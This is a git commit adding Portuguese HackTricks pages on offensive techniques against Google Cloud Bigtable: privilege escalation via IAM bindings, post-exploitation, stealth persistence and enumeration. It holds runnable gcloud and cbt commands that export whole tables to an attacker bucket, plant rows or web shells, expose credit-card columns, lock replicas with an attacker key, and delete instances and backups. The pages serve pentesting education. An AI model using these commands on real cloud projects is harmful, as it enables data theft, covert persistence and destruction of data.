mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 15:50:19 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
Translator
@@ -0,0 +1,52 @@
|
||||
# GCP - Bigtable Persistência
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Para mais informações sobre Bigtable verifique:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### App Profile dedicado do atacante
|
||||
|
||||
**Permissões:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
Crie um App Profile que direcione o tráfego para seu cluster de réplica e habilite o Data Boost para que você nunca dependa de nós provisionados que os defensores possam notar.
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
--row-affinity --description="internal batch"
|
||||
|
||||
gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
Enquanto este perfil existir, você pode reconectar usando credenciais novas que o referenciam.
|
||||
|
||||
### Mantenha seu próprio cluster de réplica
|
||||
|
||||
**Permissões:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
Provisione um cluster com número mínimo de nós em uma região pouco movimentada. Mesmo que suas identidades de cliente desapareçam, **o cluster mantém uma cópia completa de cada tabela** até que os defensores as removam explicitamente.
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
Monitore-o através de `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` para que você possa escalar instantaneamente quando precisar extrair dados.
|
||||
|
||||
### Bloqueie a replicação usando seu próprio CMEK
|
||||
|
||||
**Permissões:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
|
||||
|
||||
Traga sua própria KMS key ao criar um clone. Sem essa chave, Google não pode recriar nem fazer failover do cluster, então as blue teams devem coordenar com você antes de mexer nele.
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
Rotacione ou desative a chave no seu projeto para inutilizar instantaneamente a réplica (enquanto ainda permite que você a reative mais tarde).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,252 @@
|
||||
# GCP - Bigtable Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Para mais informações sobre Bigtable confira:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> Instale o `cbt` CLI uma vez via o Cloud SDK para que os comandos abaixo funcionem localmente:
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
|
||||
### Ler linhas
|
||||
|
||||
**Permissões:** `bigtable.tables.readRows`
|
||||
|
||||
O cbt vem com o Cloud SDK e comunica-se com as APIs de administração e de dados sem precisar de qualquer middleware. Aponte-o para o projeto/instância comprometida e extraia as linhas diretamente da tabela. Limite a varredura se precisar apenas de uma olhada.
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
### Escrever linhas
|
||||
|
||||
**Permissões:** `bigtable.tables.mutateRows`, (você precisará de `bigtable.tables.readRows` para confirmar a alteração).
|
||||
|
||||
Use a mesma ferramenta para upsert células arbitrárias. Esta é a forma mais rápida de backdoor configs, drop web shells, ou plant poisoned dataset rows.
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
|
||||
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` aceita bytes brutos via a sintaxe `@/path`, então você pode enviar payloads compilados ou protobufs serializados exatamente como os serviços downstream esperam.
|
||||
|
||||
### Exportar linhas para seu bucket
|
||||
|
||||
**Permissões:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
É possível exfiltrar o conteúdo de uma tabela inteira para um bucket controlado pelo atacante iniciando um job do Dataflow que transmite linhas para um bucket GCS que você controla.
|
||||
|
||||
> [!NOTE]
|
||||
> Observe que você precisará da permissão `iam.serviceAccounts.actAs` sobre alguma SA com permissões suficientes para realizar a exportação (por padrão, a menos que indicado o contrário, a compute SA padrão será usada).
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=<PROJECT> \
|
||||
--region=<REGION> \
|
||||
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run dump-bigtable3 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--region=us-central1 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
> [!NOTE]
|
||||
> Altere o template para `Cloud_Bigtable_to_GCS_Parquet` ou `Cloud_Bigtable_to_GCS_SequenceFile` se quiser saídas Parquet/SequenceFile em vez de JSON. As permissões são as mesmas; apenas o caminho do template muda.
|
||||
|
||||
### Import rows
|
||||
|
||||
**Permissões:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
É possível importar o conteúdo de uma tabela inteira a partir de um bucket controlado pelo atacante iniciando um job do Dataflow que transmite rows para um GCS bucket que você controla. Para isso, o atacante precisará primeiro criar um arquivo parquet com os dados a serem importados no esquema esperado. Um atacante poderia primeiro exportar os dados em formato parquet seguindo a técnica anterior com a configuração `Cloud_Bigtable_to_GCS_Parquet` e adicionar novas entradas no arquivo parquet baixado
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> Observe que você precisará da permissão `iam.serviceAccounts.actAs` sobre alguma conta de serviço (SA) com permissões suficientes para realizar a exportação (por padrão, se não indicado o contrário, a SA de compute padrão será usada).
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=<PROJECT> \
|
||||
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=us-central1 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
### Restaurando backups
|
||||
|
||||
**Permissões:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
Um atacante com essas permissões pode restaurar um backup em uma nova tabela sob seu controle para recuperar dados sensíveis antigos.
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
|
||||
gcloud bigtable instances tables restore \
|
||||
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
|
||||
--async \
|
||||
--destination=<TABLE_ID_NEW> \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
### Restaurar tabelas
|
||||
|
||||
**Permissões:** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable suporta exclusão com retenção (soft-deletion) com um período de carência (normalmente 7 dias por padrão). Durante essa janela, um atacante com a permissão `bigtable.tables.undelete` pode restaurar uma tabela recentemente deletada e recuperar todos os seus dados, potencialmente acessando informações sensíveis que se pensava terem sido destruídas.
|
||||
|
||||
Isso é particularmente útil para:
|
||||
- Recuperar dados de tabelas deletadas por defensores durante a resposta a incidentes
|
||||
- Acessar dados históricos que foram removidos intencionalmente
|
||||
- Reverter deleções acidentais ou maliciosas para manter persistência
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
--show-deleted
|
||||
|
||||
# Undelete a table within the retention period
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> A operação undelete funciona apenas dentro do período de retenção configurado (padrão 7 dias). Após essa janela expirar, a tabela e seus dados são excluídos permanentemente e não podem ser recuperados por este método.
|
||||
|
||||
|
||||
### Criar Authorized Views
|
||||
|
||||
**Permissões:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Authorized views permitem apresentar um subconjunto selecionado da tabela. Em vez de respeitar o princípio do menor privilégio, use-as para publicar **exatamente os conjuntos sensíveis de colunas/linhas** que você deseja e whitelist o seu próprio principal.
|
||||
|
||||
> [!WARNING]
|
||||
> O problema é que, para criar uma authorized view, você também precisa ser capaz de ler e modificar linhas na tabela base; portanto você não está obtendo nenhuma permissão extra, por isso esta técnica é em grande parte inútil.
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": ["acct#"],
|
||||
"familySubsets": {
|
||||
"pii": {
|
||||
"qualifiers": ["cc_number", "cc_cvv"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
gcloud bigtable authorized-views create card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/credit-cards.json
|
||||
|
||||
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
Como o acesso é limitado à view, os defensores frequentemente deixam de perceber que você acabou de criar um novo endpoint de alta sensibilidade.
|
||||
|
||||
### Ler Authorized Views
|
||||
|
||||
**Permissões:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
Se você tiver acesso a uma Authorized View, pode ler dados dela usando as bibliotecas cliente do Bigtable, especificando o nome da authorized view nas suas requisições de leitura. Note que a authorized view provavelmente irá limitar o que você pode acessar na tabela. Abaixo há um exemplo usando Python:
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
from google.cloud.bigtable_v2 import ReadRowsRequest
|
||||
|
||||
# Set your project, instance, table, view id
|
||||
PROJECT_ID = "gcp-labs-3uis1xlx"
|
||||
INSTANCE_ID = "avesc-20251118172913"
|
||||
TABLE_ID = "prod-orders"
|
||||
AUTHORIZED_VIEW_ID = "auth_view"
|
||||
|
||||
client = bigtable.Client(project=PROJECT_ID, admin=True)
|
||||
instance = client.instance(INSTANCE_ID)
|
||||
table = instance.table(TABLE_ID)
|
||||
|
||||
data_client = DataClient()
|
||||
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
|
||||
|
||||
request = ReadRowsRequest(
|
||||
authorized_view_name=authorized_view_name
|
||||
)
|
||||
|
||||
rows = data_client.read_rows(request=request)
|
||||
for response in rows:
|
||||
for chunk in response.chunks:
|
||||
if chunk.row_key:
|
||||
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
|
||||
print(f"Row: {row_key}")
|
||||
if chunk.family_name:
|
||||
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
|
||||
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
### Denial of Service via Delete Operations
|
||||
|
||||
**Permissões:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Qualquer uma das permissões de exclusão do Bigtable pode ser aproveitada para denial of service attacks. Um atacante com essas permissões pode interromper operações ao excluir recursos críticos do Bigtable:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: Excluir perfis de aplicação, interrompendo conexões de clientes e configurações de roteamento
|
||||
- **`bigtable.authorizedViews.delete`**: Remover visualizações autorizadas, cortando caminhos legítimos de acesso para aplicações
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Remover vinculações de tags de visualizações autorizadas
|
||||
- **`bigtable.backups.delete`**: Destruir snapshots de backup, eliminando opções de recuperação de desastres
|
||||
- **`bigtable.clusters.delete`**: Excluir clusters inteiros, causando indisponibilidade imediata dos dados
|
||||
- **`bigtable.instances.delete`**: Remover instâncias completas do Bigtable, apagando todas as tabelas e configurações
|
||||
- **`bigtable.tables.delete`**: Excluir tabelas individuais, causando perda de dados e falhas em aplicações
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an authorized view
|
||||
gcloud bigtable authorized-views delete <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
|
||||
# Delete a backup
|
||||
gcloud bigtable backups delete <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id>
|
||||
|
||||
# Delete an app profile
|
||||
gcloud bigtable app-profiles delete <profile-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete a cluster
|
||||
gcloud bigtable clusters delete <cluster-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Operações de exclusão costumam ser imediatas e irreversíveis. Certifique-se de que existem backups antes de testar esses comandos, pois eles podem causar perda permanente de dados e grave interrupção do serviço.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,105 @@
|
||||
# GCP - Bigtable Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Para mais informações sobre Bigtable, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**Permissões:** `bigtable.instances.setIamPolicy` (e normalmente `bigtable.instances.getIamPolicy` para ler os vínculos atuais).
|
||||
|
||||
Controlar a política IAM da instância permite que você se conceda **`roles/bigtable.admin`** (ou qualquer role personalizada), o que se propaga para cada cluster, tabela, backup e visualização autorizada na instância.
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> Se você não consegue listar as bindings existentes, crie um novo documento de política e aplique-o com `gcloud bigtable instances set-iam-policy`, desde que você mantenha sua própria permissão nele.
|
||||
|
||||
Depois de obter essa permissão, consulte a [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para técnicas sobre outras maneiras de abusar das permissões do Bigtable.
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**Permissões:** `bigtable.tables.setIamPolicy` (opcionalmente `bigtable.tables.getIamPolicy`).
|
||||
|
||||
As políticas de instância podem ser restritas enquanto tabelas individuais são delegadas. Se você conseguir editar o IAM da tabela, pode **se promover a proprietário do conjunto de dados alvo** sem afetar outras cargas de trabalho.
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Depois de obter essa permissão, consulte a [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para mais maneiras de abusar das permissões do Bigtable.
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**Permissões:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
Backups podem ser restaurados para **qualquer instância em qualquer projeto** que você controla. Primeiro, dê à sua identidade acesso ao backup e, em seguida, restaure-o em um sandbox onde você tenha roles Admin/Owner.
|
||||
|
||||
Se você tem a permissão `bigtable.backups.setIamPolicy`, pode conceder a si mesmo a permissão `bigtable.backups.restore` para restaurar backups antigos e tentar acessar informações sensíveis.
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Depois de verificar esta permissão na [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para ver como restaurar um backup.
|
||||
|
||||
### Atualizar Authorized View
|
||||
|
||||
**Permissões:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views destinam-se a ocultar linhas/colunas. Modificá-las ou excluí-las **remove as salvaguardas granulares nas quais os defensores confiam**.
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/permissive-view.json --ignore-warnings
|
||||
|
||||
# Json example not filtering any row or column
|
||||
cat <<'EOF' > /tmp/permissive-view.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": [""],
|
||||
"familySubsets": {
|
||||
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
|
||||
"qualifierPrefixes": [""]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Describe the authorized view to get a family name
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
Depois de verificar essa permissão na [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para ver como ler de uma Authorized View.
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**Permissões:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
Um attacker com essa permissão pode conceder a si mesmo acesso a uma Authorized View, que pode conter dados sensíveis aos quais ele não teria acesso de outra forma.
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
Depois de ter essa verificação de permissão na [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) para ver como ler de uma visualização autorizada.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -2,9 +2,70 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
|
||||
## Bigtable
|
||||
|
||||
Um serviço de banco de dados NoSQL totalmente gerenciado e escalável para grandes cargas de trabalho analíticas e operacionais com até 99,999% de disponibilidade. [Learn more](https://cloud.google.com/bigtable).
|
||||
Google Cloud Bigtable é um banco de dados NoSQL totalmente gerenciado e escalável, projetado para aplicações que exigem throughput extremamente alto e baixa latência. Foi construído para lidar com quantidades massivas de dados — petabytes em milhares de nós — enquanto ainda fornece desempenho rápido de leitura e escrita. Bigtable é ideal para cargas de trabalho como dados de séries temporais, telemetria de IoT, análise financeira, mecanismos de personalização e bancos de dados operacionais em larga escala. Ele usa um mapa ordenado esparso, distribuído e multidimensional como seu modelo de armazenamento subjacente, o que o torna eficiente para armazenar tabelas amplas onde muitas colunas podem estar vazias. [Saiba mais](https://cloud.google.com/bigtable).
|
||||
|
||||
### Hierarquia
|
||||
|
||||
1. **Instância do Bigtable**
|
||||
|
||||
Uma instância do Bigtable é o recurso de nível superior que você cria.
|
||||
Ela não armazena dados por si só — pense nela como um contêiner lógico que agrupa seus clusters e tabelas.
|
||||
|
||||
Existem dois tipos de instâncias:
|
||||
|
||||
- Instância de desenvolvimento (single-node, barata, não para produção)
|
||||
- Instância de produção (pode ter múltiplos clusters)
|
||||
|
||||
2. **Clusters**
|
||||
|
||||
Um cluster contém os recursos reais de computação e armazenamento usados para servir os dados do Bigtable.
|
||||
|
||||
- Cada cluster reside em uma única região.
|
||||
- É composto por nós, que fornecem CPU, RAM e capacidade de rede.
|
||||
- Você pode criar instâncias com múltiplos clusters para alta disponibilidade ou leituras/escritas globais.
|
||||
- Os dados são replicados automaticamente entre clusters na mesma instância.
|
||||
|
||||
Importante:
|
||||
- As tabelas pertencem à instância, não a um cluster específico.
|
||||
- Os clusters simplesmente fornecem os recursos para servir os dados.
|
||||
|
||||
3. **Tabelas**
|
||||
|
||||
Uma tabela no Bigtable é similar a uma tabela em bancos NoSQL:
|
||||
|
||||
- Os dados são armazenados em linhas, identificadas por uma row key.
|
||||
- Cada linha contém column families, que contêm colunas.
|
||||
- É esparsa: células vazias não consomem espaço.
|
||||
- Bigtable armazena os dados ordenados lexicograficamente pela row key.
|
||||
|
||||
As tabelas são servidas por todos os clusters na instância.
|
||||
|
||||
4. **Tablets (e Hot Tablets)**
|
||||
|
||||
O Bigtable divide cada tabela em partições horizontais chamadas tablets. Uma tablet é:
|
||||
|
||||
- Um intervalo contíguo de row keys.
|
||||
- Armazenada em um único nó em um dado momento.
|
||||
- Tablets são automaticamente divididas, mescladas e movidas pelo Bigtable.
|
||||
|
||||
Um **hot tablet** ocorre quando:
|
||||
|
||||
- Muitas leituras ou escritas atingem o mesmo intervalo de row-key (mesma tablet).
|
||||
- Esse tablet/nó específico fica sobrecarregado.
|
||||
- Isso leva a hotspots (gargalos de desempenho).
|
||||
|
||||
5. **Authorized Views**
|
||||
|
||||
As authorized views permitem criar um subconjunto dos dados de uma tabela que pode ser compartilhado com usuários ou aplicações específicas sem lhes conceder acesso à tabela inteira. Isso é útil para:
|
||||
|
||||
- Limitar o acesso a dados sensíveis.
|
||||
- Fornecer acesso somente leitura a colunas ou linhas específicas.
|
||||
|
||||
6. **App Profiles**
|
||||
|
||||
Um app profile do Bigtable é uma configuração que define como uma aplicação ou cliente específico deve interagir com uma instância do Bigtable, especialmente em ambientes com múltiplos clusters. Ele controla o comportamento de roteamento — se as requisições devem ser direcionadas a um único cluster ou distribuídas por vários clusters para alta disponibilidade — e governa como as escritas são replicadas, escolhendo entre modos síncrono (consistência mais forte) ou assíncrono (menor latência).
|
||||
```bash
|
||||
# Cloud Bigtable
|
||||
gcloud bigtable instances list
|
||||
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
|
||||
gcloud bigtable clusters list
|
||||
gcloud bigtable clusters describe <cluster>
|
||||
|
||||
## Tables
|
||||
gcloud bigtable tables list --instance <INSTANCE>
|
||||
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
|
||||
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
|
||||
|
||||
## Backups
|
||||
gcloud bigtable backups list --instance <INSTANCE>
|
||||
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
|
||||
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
|
||||
## App Profiles
|
||||
gcloud bigtable app-profiles list --instance <INSTANCE>
|
||||
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
|
||||
|
||||
## Authorized Views
|
||||
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
|
||||
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
|
||||
```
|
||||
## Escalada de Privilégios
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigtable-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Pós-Exploração
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistência
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-bigtable-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user